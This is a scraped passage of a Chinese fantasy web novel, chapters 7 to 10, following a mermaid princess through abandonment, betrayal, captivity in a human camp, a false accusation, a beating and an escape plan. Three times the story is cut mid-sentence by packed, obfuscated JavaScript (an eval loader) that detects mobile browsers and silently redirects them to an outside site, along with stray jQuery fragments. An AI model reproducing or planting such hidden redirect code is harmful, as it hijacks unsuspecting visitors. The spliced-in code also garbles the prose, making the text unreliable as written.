“人间男女大防那套虽然对你来说,没多大用。但我们很快就要去一趟青霞山,仙门的人重礼节,你以后不许随便掀人袖子,也不许随便抱别人,更不许攀别人的脖子,最好也不要随便不认识的人说话。”
海谣泪珠又在打转,但听到要去仙门,只好忍气吞声。从来没被严肃呵斥的女孩暗暗下了决心,等到了青霞山她就找个机会逃走。
青霞山天云派弟子是出了名的修为高、性子好,声名狼藉的人族尚且对她热情得不行,宽厚的仙者一定会待她更好。
刚刚还泫然欲泣的女孩不自知地露出笑容。
见她如此好性子,陆言眉间忧色稍去。
“那我们走吧。”
“你等等!”
女孩风一样跑开。
7. 第 7 章
海谣回来时怀中多了个毛茸茸的雪团。
陆言不动声色地打量雪团,视线上移,昳丽的笑容撞如眼帘,下一瞬,团子被人献宝一样递来,女孩高傲地施恩。
“我的兔子,可以让你抱一下。”
灵兔两只红眼水汪汪的,可爱极了,然而,陆言手臂往后一退,以拒绝的姿态,指尖都没露出来。
海谣惊了一下,发现爱宠还活着的好心情顿时跑得无影无踪。她抱回兔子,愤愤道:“我的兔子可聪明了!”
仿佛印证了她的话,兔子垂下两只大耳朵、遮住了红通通的眼,身子也可怜兮兮蜷缩起来,每一根白毛都在颤抖。
陆言没有评价,更没有心软,只道:
“不许带兔子,猫、狗、小鸟、海星王八螃蟹还有虾无论什么都不许带。”
海谣一脸深受打击。她把兔子抱得更紧,下唇咬得快要溢出血来,陆言却静静站着,连眼神都没有移动一下。
庭前两簇珊瑚鲜红欲滴,一树一树地绽放,光泽流转,那的美艳的姿态,无可描述。
“半个时辰,你可以跟它道别。”
语气绝情。
海谣狠狠抽噎两下,终于忍不住哇地一声哭了出来。
她是真的伤透了心,自己视若珍宝的爱宠在别人心里不值一提,陆言板着脸,她一下忘了自己现在说话没分量,腾出一只手握他袖子。
“我就要带着!不用你抱,我自己抱。”
陆言道:“仙门的人不喜欢这些东西。”
海谣失望之下,不死心道:“你骗我。”
陆言道:“我怎么会骗你,你想想谁修仙的时候会抱着一只兔子?”
海谣哭得嗓子发哑也没等到陆言松口,她气恼地瞪了眼陆言,权衡利弊一番,还是依依不舍地亲了亲兔头。
蹲下来把白兔放在脚边,前所未有的哀怨浮了上来,女孩一抽一抽道:“毛毛球,我们要分开了,西边海域的海藻最多,你饿了就去西境找吃的,记得不要去北边,也不要去归墟,这两个地方有很可怕的怪物。”
灵兔听得懂,耳朵挪开,露出了更红几分的眼睛,仿佛快把周边的白毛染成一色。
女孩久久不起身,一颗心碎成几瓣,凄惨得像是在交代后事。
“......”
陆言沉默着。
少女在为一只兔子痛哭,她哭得十分认真,完全抛却了往日的骄傲,她没有心情在乎自己雪白的裙摆和青纱披帛被泥水染得半黑。
也没主意到聪明的兔子偷偷转了个头,正对站着的人甩耳朵,兔脸上满是讨好。
陆言略有意外地笑了。
那么小、还有些可爱的东西竟也会审时度势。
半个时辰无声无息过去,他毫无怜悯地提醒:“公主,时间到了。”
海谣抹着泪起身,要去仙门顿时变得索然无味。
陆言走得很快,没有等人的意思。
哪怕如此不恭敬的态度都没能让女孩伤心化成恼怒。
海谣一步三回头去看那只小兔子,绕过一个弯,兔子彻底看不见了。
兔子消失的地方,藻荇随着水流摇摆,柔弱无骨,一副潦倒疲象,女孩看得满心郁闷,正要收回目光,却见一抹黑影闪过。
幽林仿佛幽黑了几分。
枝杈宛如坟墓伸出来的枯爪,苍老崎岖,这一切都让海谣心下发颤,她冷不丁想到什么,低低惊叫起来,“陆言,那是什么。”
不等陆言说话,斗篷现出身形,伴着阴森的沙沙声,像一块破布走来,海谣颇为嫌恶地尖叫:“不许过来!”
破布默不作声,脚下愈快,竟是双脚悬空飘到了附近,这在海中原也不奇怪,可当异常干瘦的脸猛然凑近,海谣脸色大变,兜帽掀开一瞬,扭曲的鼻梁、森寒的目光,全都一览无遗。
兜帽降下。
干瘪的唇阴森森勾起。
这不是一张令人愉快的脸。
海谣认出他是雾端的魔,恐惧地缩到陆言身侧。
陆言扫了眼斗篷,没有说话。
“快把他赶走!”
海谣浑身发冷。
陆言道:“没关系,他爱跟就跟着吧。”
海谣更惊悚了:“他是魔!”
陆言道:“公主看错了,他不是魔。”
“他脸上有魔纹!”
陆言无动于衷,耐心地解释:“公主,那只是一点红色的纹路,就像身上划了一道伤口,有可能是刀刃所,也有可能是箭矢所伤。他脸上的红纹也许是被人划伤的,你不能只凭这些就断定他是魔。”
海谣坚持道:“我认识他,他想杀我!”
陆言一脸不在乎:“我也认识他,我用性命担保,他不想杀公主。”
海谣露出困惑之色,浑浑噩噩地强调:“我就是不喜欢他。”
陆言包容道:“公主不需要喜欢他,不过,如果公主可以试着和他好好相处,就会发现他是个不错的人。”
海谣极力压制颤抖,一阵危在旦夕的恐惧袭来。
她仍不相信,陆言这样一个人,不知为何突然变得十分可恶,可尚能勉强忍受、以观后效。他为什么要袒护一个恶棍......海谣兀自恼怒,视线直射陆言,她已经看他浑身不顺眼,但还是不能否认男人一举一动皆是矜贵优雅,浑然天成,哪怕有个丑八怪跟着,也不减风仪,
“你不许我带兔子,我也不许你带着她!你不让他走我就去把兔子带过来!”
她的语气,说不清是生气居多,还是耍脾气。
“小谣儿是在因为兔子不高兴吗,兔子怎么能和人比较。”
女孩恼怒,她退了一步,但至少现在,她不是为了兔子发脾气,绕了一圈回到原点,她指着斗篷。
“不是!我就是要他走。”
“不行。”
陆言简短两个字,再无耐心劝导,一脸无所谓的样子,二人僵持着,气氛剑拔,心火燎烧,谁都不愿率先打破沉默,仿佛只要耗尽对方的耐心,就能换一个妥协。
至少,海谣是这么想的。
她寻了处矮石坐下,裙摆铺散,若一瞬花开,坐定后闭上眼,大有陆言不让步她就不走的意味。
好似安静了很久,在一片寂静中,心跳的声音尤为明显,海谣惊惧地睁开眼。
阴森的斗篷带着凌厉的煞气消失了,但更为寒冷的气息迅速笼罩了女孩全身。
陆言也走了。
他说过他不会找她,当然,也不会等她,她只有半个时辰追上他。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179982|180904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>女孩明艳的脸庞上满是彷徨,她跳下石头狂奔出一段,眼里忍不住带了泪。
这几天发生了太多的事,没人在意的生辰,一地废墟的霜璃宫,短短一日、两次被人抛弃......她对每个人而言,都可有可无。
陆言和那些讨厌的人又有什么区别,他高兴时叫她公主,装得善解人意,其实和丫鬟一样,都恨不得她快点消失......他真的也讨厌她吗?
海谣不知为何,莫名有股自信,坚信自己在那人心中有点分量。
自然,是一粒沙大的一点,正如君后那样,她的母亲,她唯一能保证喜欢她的人。
只不过,君后心中,她排在后位、海月、兄弟、长姐很多很多东西后面;在陆言心中,她还不如一个丑陋凶恶的鬼东西。
只有得到最多才开心,公主会经常失望......
海谣狠狠跺脚,呸,她才不需要他们那点可怜兮兮、施舍一般的喜欢,也永远不会因为他们失望。
她自己一个人也能过得很好!
失去一切的女孩回到霜璃宫,哪怕又冷又饿,她还是装作云淡风轻地转了一圈,然而,腥风血雨的杀意扑面而来,半塌的宫墙,遍布宫道的残尸,都让她不寒而栗。
肩头忽地被人拍了一下。
惊讶的女声响起。
“海谣,你怎么也在这?”
......
“兔子?”
陆言揪住白兔后颈,将它从水中提了起来。
白兔硕大的耳朵可怜兮兮拍打正揪着它的那只手,不是驱赶,而是哀求,陆言松开手,白团跳上船,死乞白赖就是不走。
“我讨厌兔子。”
“至少它看起来真的比蓝尾巴鱼聪明许多。”
“你怎么突然来了。”
陆言抓起兔子,这一次,抓的是兔耳。
“我在拯救你的良心。”
“我一直是个很善良的人。”
“哦,是吗。”
“如果没有良心,我现在会把小兔子重新扔回海里。”
“那丫头怎么办?”
陆言捏着兔脸。
“随她,没有她,不也有别的方法?”
......
“我藏起来了,他们打得太厉害,我不躲起来还能怎么办?你看大哥、大姐他们全都死了,唉,何苦呢。”
海影眉眼飞扬,神情得意,完全不为自己临阵脱逃难堪,不过,海谣完全认同她的想法,同样无人庇护、无人记挂的女孩在大难之后竟有了相依为命的意味。
“六妹妹,多亏你当时救了我。”
海谣冷冷道:“你不也还是冤枉我?”
海影不好意思,语气满是歉意:“那时也是不得已,我跟你道歉,妹妹,走吧,我寻到了个好去处,总好过在这自生自灭。”
海谣紧紧跟着海影,去了岸上,一片枯叶在面前无声飘落。她默然看着周围,这个地方还有很多成人形的妖,他们蜷缩在礁石附近,躺着、靠着、趴着,全都灰头土脸,有的血染了半边身子,说有多狼狈就有多狼狈。
海谣心头战栗,正要问海影这是哪,一扭头,便见一双眼睛正厌恶地盯着她看。
少女冷笑着翻了个白眼:“蠢货。”
8. 第 8 章
烈日热辣辣地炙烤着大地,汗渍、血污腐肉不断冒出阵阵恶臭。
海谣指节捏得发白,转身想跑,胳膊突然狠狠撞上什么硬物,皮肤一阵灼痛,跟碰到了火一样。
空气仿佛变成了一堵墙,她伸出手指,指尖又是一刺。
“怎么天下会有你这么蠢的人。”
海影眼带嗤意。
海谣被这异象给吓住了,胆战心惊迎视着海影,海影冷笑,接着,眼睛向上一翻,空中,黄符飞旋,有只小鸟掠过符纸,又飞过几丈,砰一声坠落。
黄符结成结界,在营地四面设防,只进不出。
海谣盯着脚边枯叶,那其实是张符纸。
似乎没有一只妖能逃得开,他们半死不活,没有药、没人去管。也许,用不到一天,她也会变成这样。
而显然,海影很适应这里的生活,她如鱼得水,在人族中的别有一番地位。
不出所料,卫兵听到动静赶来,扫一眼二人就扬起鞭子,破空声响,鞭子落在海谣腿上。
假腿不会疼,也不会流血,但骇人的气势还是把她震得一抖。海谣下意识抬手回击,那人横鞭一挡,她疼得倒在地上,眼前阵阵发黑。
头上传来海影的声音。
“人我已经带到了,我说得不错吧,还有不少漏掉的。”
卫兵道,“模样不错,别让她死了。”
海谣爬起来,抬手就往海影身上劈去,瞪她,“你为什么要骗我来这里!我平时得罪过你吗?跟你有仇吗!”
海影道:“我劝你识相点,这里可不是宫里,没人会忍你,至于你有没有得罪我,你挺恶心人,但得罪嘛,当然没有。”
一阵天崩地裂的锣鼓声响,海影没再解释,转身跑向堆着饭食的推车,从卫兵手上接过一个馒头,缩到一块礁石下,狼吞虎咽吃了起来。
地上的妖也慢慢站起,腹内饥饿到底盖过了疼痛,他们疯跑到车前争抢饭食。
海谣眼神空洞,她从前什么都不缺,更没这样和人抢过东西。野蛮、粗鲁的一切让她手脚无措,她慢腾腾跟了上去。此时,她不再是公主,没人会让她,更不会有人把东西捧到她面前。
一群妖横冲直撞,不知是谁把她撞倒,没一个想要拉她,还差点踩了她几脚,等她走到推车前,只剩下几片馊了的菜叶。
几个姑娘抱着饭菜打成一团,浑然一群野兽抢食,卫兵笑得前呼后仰。
姑娘们抢的,只比烂菜根稍好一些,都不是能入口的东西。
海谣默默看向海影,对上她的视线,干瘦的少女眼神瞬间锐利,恶狼一样把最后两口馒头塞进嘴里。
海谣忽地明白,那个雪白的馒头,是她出卖她的酬劳。
她手里紧紧攥着烂菜叶,无法下咽,先吞了满口咸泪。从前得不到最好就要生气的女孩开始怀念霜璃宫的生活,饭菜比不上兄弟、比不上长姐海月他们,但无一不可口。
一贯嫌弃佳肴的女孩扑簌簌落泪,却不舍得丢下枯叶片,不过区区数日,就像换了个人一般。
一个绿衣女子走到她身,把手中还算新鲜的叶子递给了她。
“吃吧。”
女子带着笑,远没有其他人狼狈。
这个女子,可能是从前宫中某位女官,海谣打量了很久也没认出。她心中涌起歉意,她不记得她,她却还当她是公主。
犹豫半天,海谣不好意思地接过菜叶。
“可是这样你怎么办?”
女子道:“我修为远比你高,没这么容易饿。”
海谣这才发现自己看不出她真身,正要吃下,却见刚才吃了东西的姑娘陡然皱起眉头,豆大的汗珠从她们额角冒出,不多时,开始一个接一个捂着肚子满地打滚。
看守笑得更加放肆。
菜里下了毒。
海谣松开手,菜叶落到脚边。
泻药不致命,却足以让人好一阵难堪难受,海影扶着腰从石头后钻出,背都直不起来,像只惨兮兮的虾,海谣看着,竟然一颤一颤地笑了起来。
让你害人,活该!
妖在人族眼中,多是两面三刀,性情多变,哪怕投诚做了打手,也没得到人的优待,反而添上了秉性本恶的骂声。
守卫没给她们太多时间恢复,挥着鞭子就要赶路,山水重重,要去的地方很远,自然,都得徒步行走。
绿衣女子扶着海瑶慢慢走,海谣不时去看海影,面色凝重。
想来此处关押的妖多半是被海影骗来,无人愿意与她作伴,她中了泻药身子还十分虚脱,一下就落到了最后,守卫退回去猛抽了几鞭,海谣怔怔地看着这情景,海影没有她幸运,那几下全打在她背上,真实的皮肉绽开裂痕。
但海谣已经没有力气嘲笑,她自己也快走不动了,裙下双腿频频虚化,步子踉跄。
她很想变回原形休息,绿衣女子拍她后背:“不要变回去,知道为什么这儿全是女子吗?”
受她提醒,海谣惊觉周围都是一群完全化成人形的妖。
“没能化成人的全都被赶去除魔了。”
绿衣女子道。
那场以魔族惨败告终的灾祸已经过了千年,魔族逐渐恢复了元气,近日在人间、妖界多地都出现了邪魔的迹象,幻海妖域惨遭洗劫,谁又能保证下一次不是人间。
是以在除魔上,妖与人一样慎重。
海谣面色却是一白,她下意识觉得不会是什么好事。
“人修用他们开路,如果真的碰上了邪魔,便让他们先上,妖毕竟天生拥有灵力,能过上几招,当然,所杀的魔全让那群武修拿回去和他们皇帝领上,要是妖不幸战死,那死了就死了,没什么可惜。”
海谣凝眉。
“为什么我们不一起逃走?”
绿衣女子叹道:“哪有这么简单。魔祸之后,凡人意识到仙门无法完全庇护世人,便辟了一道新的修行之术,这群修士称作武修和体修,过了一千年,二者合一,足以于妖魔抗衡。他们只听命于朝廷,这一次,他们缉妖的差事是晋王监管,晋王在这,他们最顶尖的修士也都在这保护那位殿下。”
魔族与妖族对战,人族在岸上坐收渔利,抢不到幻海宝物、便捉些妖回去赏玩。
她们这些长得不错的,都要带回去供人间贵族玩乐。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179983|180904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暂且没有性命之忧,但一路上的待遇差到了极致。
为了保证行程,在最后落得太远的妖会被鞭笞。
这些天,好几次都是海影远远跟在最后,但后来,一个圆脸姑娘走不动了,海谣记得她曾给过自己一捧干净的水,迟疑着要不要去帮忙。
但那姑娘似乎并不需要,她一落到最后,总是同一个卫兵停下来督促。她走不动,卫兵就跟着她慢慢走,不打不骂,甚至没怎么催过她。
海谣几分诧异、几分暗喜,想不通是怎么回事,只知道这样一来,旁的人就不可能沦为最后,直接免了几顿鞭子。
跨过几座山、几条河,星子渐明之时,他们到了个更大的营地,夜空下旗帜猎猎,甲光寒凉,肃杀的气息笼罩着大地。
可供姑娘们选择的住处很少,全是茅屋土房,本就不怎么样的屋子也有高下之分,有的还算成型,有的屋顶都掀了大半,住进去不是暴晒就是雨淋。
与先前一样,谁抢到就是谁的。
十几个身影顿时散开。
只有三人没动,绿衣女子经常照顾众人,每次拿到最差的也没有怨言。海谣仰着脖子打量破屋,她还是不习惯张牙舞爪地抢,好几次饿肚子都咬牙挺了过来,这一次淋点雨一点关系都没有。
海中妖族成天泡在水中都不怕。
于是她也静站。
圆脸女子突然不见了。
棚架下,明光尤为夺目,海谣探了过去,见圆脸姑娘蹲在墙角,从腹中挤出几粒珍珠。
海谣顿时瞪大了眼。
圆脸姑娘忽见人影,吓得珍珠都快抛掉,她飞扑上来捂住海谣的嘴,“别出声!”
“你在干什么。”
海谣压低声音。
“人修喜欢珍珠,”
圆脸姑娘道:“你千万别告诉别人。”
海谣连连点头,不用圆脸姑娘提醒,她也不会泄密。
她是鲛人,变不出珍珠,圆脸姑娘正是看到这一点才没瞒她。否则你送一颗,我送两颗,人修欲壑难填,今后怕是耗尽全身珍珠都办不成一件事。
海谣摸出一个袋子,袋子里装着十几颗色泽不一的珍珠,每一粒都比圆脸姑娘的小白珠子好看,其中一颗血红色的足有四五颗普通珠子大。
这些全都是从元贝身上落出来的,当时她说要所有的珠子,陆言搬不动,便每种颜色给她拿了一颗。
她收好红珠子,悄悄跟上圆脸姑娘,晚一小会找上卫兵。
*
“东西是谁的!”
次日天还不亮,所有人都被赶出了房间。
卫长手中掐着一粒珍珠,目如鹰隼,“没人承认?来人,不老实,她们这群,每个打仗刑五十。”
几个人修拿来刑具,棍棒和小腿一样粗细。
“带上来!”
卫长大呵,立刻有两个人修架着个卫兵出来。
受贿之人与贿赂者同罪,卫兵身上没一块好肉,刚拎出来不到几下,地上就落了一滩红水。
十几只妖吓得不敢说话,全低着头,战战兢兢看着彼此,海谣咬着唇,身旁圆脸贝族姑娘浑身都在发抖。
9. 第 9 章
“到底是谁啊。”
“快说。”
“能不能不要连累我们!”
“敢做不敢认了,真歹毒。”
姑娘们大叫,同时用凶狠的目光扫视同伴,恨不能一眼把对方看穿个窟窿。
“都闭嘴!”
人修踱到第一个姑娘跟前,拎小鸡一样把她拎了起来。
姑娘满眼绝望。
“不是我!真的不是我!我没有珍珠,一颗都没有,不信你们搜!到底是谁,能不能自己出来,你就不怕遭天谴吗!”
海谣一阵心虚,胆寒地抬起眼,那颗珠子被人高高举着,又小又白,不是她送的。
脸上的恐惧稍稍散去,她庆幸地想着,等圆脸姑娘一承认,就会没事。
时间流逝,山中雾气散去,阳光毫无阻碍地照射下来,烤得人心焦灼不已,被押着的姑娘几番挣扎,还是被拖到了长凳上,而圆脸姑娘仍旧跪得笔直,她紧紧缩着身子,毫无动静。
惨叫一声高过一声,不知到第几下,就听不见了。
海谣用目光去数,她是第四个,而那头,第二个姑娘被拎了起来,卫长嫌行刑太慢,让人一下多搬来几张凳子。
海谣既怕又恼,祸不在自己头上,她无比期盼别人能主动站出来,却忘了最初自己也在企图蒙混过关,她甚至想亲自揭发那人。
可一看到圆脸姑娘缩成团的脸,皱巴巴的,像个失水的苹果,海谣心里一阵别扭,她咬了咬牙,她帮过她,这一次自己不说,就算报答了。
哪怕下定了决心,胳膊被提起一瞬,海谣还是有些颤抖。
她和圆脸姑娘一起被人拽起。
“我知道是谁!”
声音尖尖响起,十几个人在这鹌鹑一样缩着,提着的气陡然松了大半。
绿衣女子直起身子,她定定看着被架起的两人,明眸忽转,嫣然一笑,这一笑如春风拂面,几个人修都怔了,任由女子走到海谣面前。
女子抓起海谣的手。面对她,海谣没有抗拒,直到女子把手胡乱伸进自己袖子里摸索一番,海谣才察觉了危机,她眼睁睁看着女子手中掐出一粒珍珠,又小又白,与卫长手上的别无二致。
绿衣女子将珠子双手捧上:“大人,这就是刚才从她身上搜出来的。”
海谣怒不可遏,“珍珠明明是你自己先藏在手里的,不是我!”
没人听她解释。附近姑娘都厌恶地看着她,几双眼睛红红的,泛着恶狼一样的凶光。
“不错就是她,我看到她偷偷找过那个人。”
“对,我看到她把珍珠从身上挤出来。”
“她手上还有好多!”
“怪不得她一直不用和我们抢,原来是这样。”
“对,她们关系一直很好,连她都说是她,那一定是真的了!”
这些姑娘好不容易逮到一个目标,如今证据齐全,何苦再与海谣争辩,替罪羔羊有一个就够了,谁都不在乎她是不是真的冤枉。她们一个二个半真半假地编,很快就把海谣罪证坐实。
圆脸姑娘被人放开,松松垮垮跌倒地上,海谣却被按上长凳,她勉励扭头,不解又心痛地回看绿衣女子,眼眶里,雾气不断往上冒,这些日子,她以为自己终于交到了一个真正的朋友,但再一次受骗。
她为什么要指控她。
如果她从前不想帮她,大可袖手旁观,自己便是死了也不会开口求她一句,海谣悲苦地想着。
为什么又是这样。
她到底在哪里、什么时候对不起她们!
夜晚,海谣趴在床上,几十大棍对她来说无关紧要,打在腿上不会痛,真正的伤在后背。
卫长多抽了她几鞭,这会疼得睡不着。
窗外很黑,浓云遮住了所有光亮,四处都是风声,凉风一阵一阵刮来,几道鞭痕又在刺辣辣地烧。
很不好受。
比起伤口,海谣更担忧今后的日子,今日没有受罚的姑娘都自发扶起被打的姑娘,她们抱团疗伤,却没有一个人搭理海谣。
圆脸姑娘起初满脸歉意,但很快,她便猜测是海谣告密,眼中惭愧瞬间化作厌恶,也像避污秽一样避开了海谣,躲得远远的。最后还是人修怕她死了才将她拖回房中。
海谣深刻认清了现下的处境。
以后她走不动路,再也不会有人搀着她,她躺在这,连剩饭都没力气去拿,自然,不会有谁给她送来。
她们把她当成叛徒,对她满心憎恶......海谣想起那些怨毒、鄙夷的目光,禁不住地,眼泪如潮水狂涌,受人排斥,她很可能活不下去,而就算残存口气,她也不知该置身何地。
海影的惨状在眼前划过,不久前才赌气发誓再也不会求人的女孩害怕了,绝望在胸中翻涌,一发就不可遏制,她多么希望海君军后能把她找回去,她知道他们还活着,但也清醒地明白在他们眼中,她与霜璃宫中的残尸没有区别。
没人会为了一具尸体拼命。
风更大了,像是要下雨,树影颤巍巍摇着,黑影幢幢,似乎随时会有什么人走出来,海谣却不害怕,心中泛起雀跃,她胡乱撑起身子,努力注视树干修长的影子。
陆言会不会来,会不会像上次那样,她一醒来就发现他站在院外。
等了很久视线更加模糊。
不知是什么人在断断续续吹箫,凄哀的萧声飘荡,旋律缓慢,风好像都静了下来,海谣不抱任何希望地闭上了眼,过了一会从睡梦中疼醒,迷迷糊糊地感到床尾坐了个人。
“你来了!”
她心头猛跳,语气惊喜。
黑影稳稳坐在床边,清凌凌开口:“六公主,还疼吗?见到我很开心吗,六公主可真奇怪。”
怎么是她!
来人一袭绿衣,那鲜辣的绿色好似苔藓铺开,黑暗都被染了几分绿意。
她还敢来?
海谣忍着痛,强行翻了个身,她什么术法都施展不出,全凭一股蛮力打过去,刚扑上去就被人推开。她仰倒在榻上,女子哆嗦一番,状若受惊。
“六公主永远这么暴躁,真不是个女儿家,男人是不会喜欢的。”
“你来做什么,不想死就快点滚。”
海谣不知道这女子为什么突然一脸猥琐,与前些天的端庄优雅毫不沾边。
女子脸皮极厚,“我是想来找你帮我做点事的。”
“哼。”
“六公主难道不想逃跑?”
海谣来了点精神,但很快恢复冷漠:“你想骗我逃跑,再去告密,我才没那么好骗!”
“六公主,今天的事我也没办法,要受罚的是我子民,我实在不能看她们挨打,六公主,你说,我是不是比某些
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16179984|180904||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抛弃族人女儿的君王好多了?”
“那你怎么不自己替她受罚?你是谁......你为什么要说她们是你子民?”
幻海诸妖皆是海君的子民,除了一直不愿臣服的贝族,海谣瞬间想到挤珍珠的圆脸姑娘,胃里开始翻滚:“你......你是......”
微光闪过一圈,女子身形虚化,一个数尺宽的贝壳趴在床边,海谣吓得猛一脚踹开,“啊啊啊,好恶心,绿毛贝!你不许坐我床上!”
想到自己这么多天和绿毛贝亲密相处,海谣连连干呕,唯一一点可以宽慰的便是被人诬陷痛楚没了,贝壳本来就坏透了,被坏人陷害,总比被朋友背叛要好。
她一连狂蹬几下,把贝壳碰到的被褥全扫下床榻。
“老变态,为什么变成女子来这里!为什么要接近我,你想干什么!”
“你猜啊,小海谣。”
一瞬沉默。
海谣汗毛倒立:“为什么?”
“因为你是我未婚妻啊。”
贝壳咧开嘴。
海谣万分惊悚。
“再瞎说我打烂你的壳!”
贝壳幽怨道:“你爹娘从来没和你说过吗,鲛人要与贝族联姻,六公主要嫁给贝族的王子......”
“你还乱说!”
贝壳道:“哪有乱说,不过你那么凶残,我也不打算娶你,谁恶心谁啊!”
“对了,你怎么到这来的,你修为不是挺高吗?是怎么被捉来的。”
贝壳含糊不清道:“我被你打成重伤,一直睡着,醒来就在这了,我怎么知道!人家现在还是好痛,呜呜呜......你挨了打,但要怪也只能怪你自己手贱!!”
“哼,颠三倒四,混淆是非,是你假扮海月杀人在先。”
贝壳道:“还说这些有什么意思,六公主,我来问你想不想走。难道你还想在这里挨饿挨打?你这次可是开了个坏头,以后只要有人出点什么事,都会赖到你头上。”
海谣道:“就算是走,我也不会跟你走,谁知道你又有什么坏心思,我是不会上当的,你为什么那么好心来找我,不会想被人发现后说是我怂恿你吧。”
贝壳忽然认真道:“因为这儿那么多妖,只有六公主的修为我信得过,屋外有修士、有结界,出逃不宜带太多人,更不好带修为差的来拖累我,六公主,你是怎么挡住那一招?”
海谣看他模样认真,不禁有几分相信,虽未完全信得过贝壳,但也不好明着拒绝,更不想让贝壳知道她其实没那么厉害,于是隐去了琉璃珠的存在,傲然道,“本公主自然什么都会,这个不用你管。”
贝壳思索:“这么说,六公主是答应了?”
海谣看着满壳裂纹的贝,忽然满心遗憾,生怕绿毛贝该是个万年老废物。
“你连我都打不过。”
贝道:“那是我让你,小海谣,要不是我一个单挑他们动静太大,会引来更多的人,我才不会来找你帮忙。说白了,我要找爹爹,我不能再等了,再等下去......呜呜呜......”
海谣满脸鄙夷。
“到底答不答应?”
贝壳烦躁。
床褥散发着难闻的霉味,背上愈合了一点的伤口重新裂开,好似有液体渗了出来,海谣深深吸了口气,谨慎地点了点头。
10. 第 10 章
日复一日。
海谣在床上,保持着趴着的姿势,这么多天,她总是一个人,动弹不得。伤口仍是疼,但到底在慢慢愈合,后背犹如千万只蚂蚁啃噬,又疼又痒,也没有药。
朽烂的木墙躺着水珠,散发出幽幽的酸臭,床头木架油亮亮起了层腻,她屏住了呼吸。
这个地方,阴湿、冷暗,好像透不过一丝光亮,唯有想到逃走,她心情才好些,有种将要解脱的松快。
屋外却是郎朗晴日,年轻姑娘清甜的笑声飘进门缝,偶尔能听到车驾辘辘而来,营寨之中住着不少扈从晋王的大臣,他们会在营中闲逛,看到合心意的小妖,就带回去......
“你说我这样好不好看?我可不想被送去给马夫。”
“昨天那个年轻的是不是武安侯?”
“才不是,那是小侯爷,武安侯都老了!”
“唉,像我这样的,肯定要找个年轻俊秀的公子,你们说她以后会不会......”
“我昨天看过她,诶呀,脸又丑又黄,臭死了!没有贵人愿意要的。”
脚步渐渐走近,海谣攥紧了拳头。
虚掩的门被人推开,来人步子很轻,直到站在床边打量她片刻,才发出一声惯常的蔑笑。
海影一身天青色长裙,头发用珠链绾起,手上握着个小瓷瓶,见床上的人神色戒备,她盈盈一笑,“妹妹怎么还没好,我给你送药来了。”
海谣眉尖更紧,海影对她的态度突然有了很大的转变,温和得有些诡异,这种浮于皮面的友善,就是从前也从未有过。
现下海谣看什么都是阴谋,一颗心警觉起来。
“你来这干什么。”
被人用嫌恶的目光打量,海影不觉尴尬,她到窗边放下木窗,隔绝了外头掐尖的嗓音。
“妹妹,我想过了,你从前对我还算不错,以后我也要待你好些,瞧,我这不是来给你上药了?”
说着,海影揭开那层粘着血肉的衣料,海谣重重颤了一颤。
“你到底想干什么!”
“六妹妹,你来跟我说说,该用什么方法唱,才能让别人......心悦于你,如果事成,咱们是姐妹,我还会不管你吗?”
海谣一阵恶寒。
歌声是幻海鲛人独有的秘术,主杀伐,声音所及之处,有刀剑急攻之势,锐不可当。亦可惑人心智,分门别类,多种多样,却从来没听说过有什么令人倾心的功效。
毕竟,从来没人会在战场上想让敌人瞬间恋慕自己。
“不知道,你不会看上什么人了吧?不会是哪个大肚子老头吧?”
“用不着你操心。”
海影面颊绯红。
海谣从没见她这幅模样,心中讽笑,嫣红的唇勾起。
“想来爱慕之情人皆有异,你得先告诉我那是个怎么样的人,我才能帮你啊。”
海影手上动作停滞,一低头,只见海谣下巴微微抬着,即便几重黑影笼罩下来,也盖不住那胜雪肤光,鞭刑与几天的折磨好似只让她瘦了些许。
海影紧扣药瓶,克制住丝丝怨念,反复权衡,道:“算了,那人也不过如此,不是什么好人......你好好养病吧,不烦你了。”
*
月色下,歌声清扬婉转,人修不会阻止姑娘唱歌,反而有种故意放纵、促成的用意,但每每被更高一级的将官发觉,又免不了训斥一番。
也只是训斥而已。
海谣隐约猜出,海影所说那人,喜好如此,她念了个净水咒,洼坑里的泥水激荡几番,变成清泉。
海谣润了润嗓子,也唱了起来。
她站在营地侧面的一处凹地里,身前便是结界。
混了妖力的歌声在杂音的掩护下,轻飘飘越过坡地,远处一行士兵昏睡过去,未久,其余歌声像被掐了嗓子一样,都停了下来。海谣眺望通往此处的唯一一条小路,心头犹如一盆凉水浇下。
窄道空无一人。
绿毛贝没来。
若是明天一早,营地里的人醒过来,难保不会查出是她。
女孩手心微凉,风从远处山谷吹来,砂石飞走。
一点风吹草动,都让她心惊肉跳,直到想装作无事地溜回去,坡头才飞来一个巨大的圆盘。
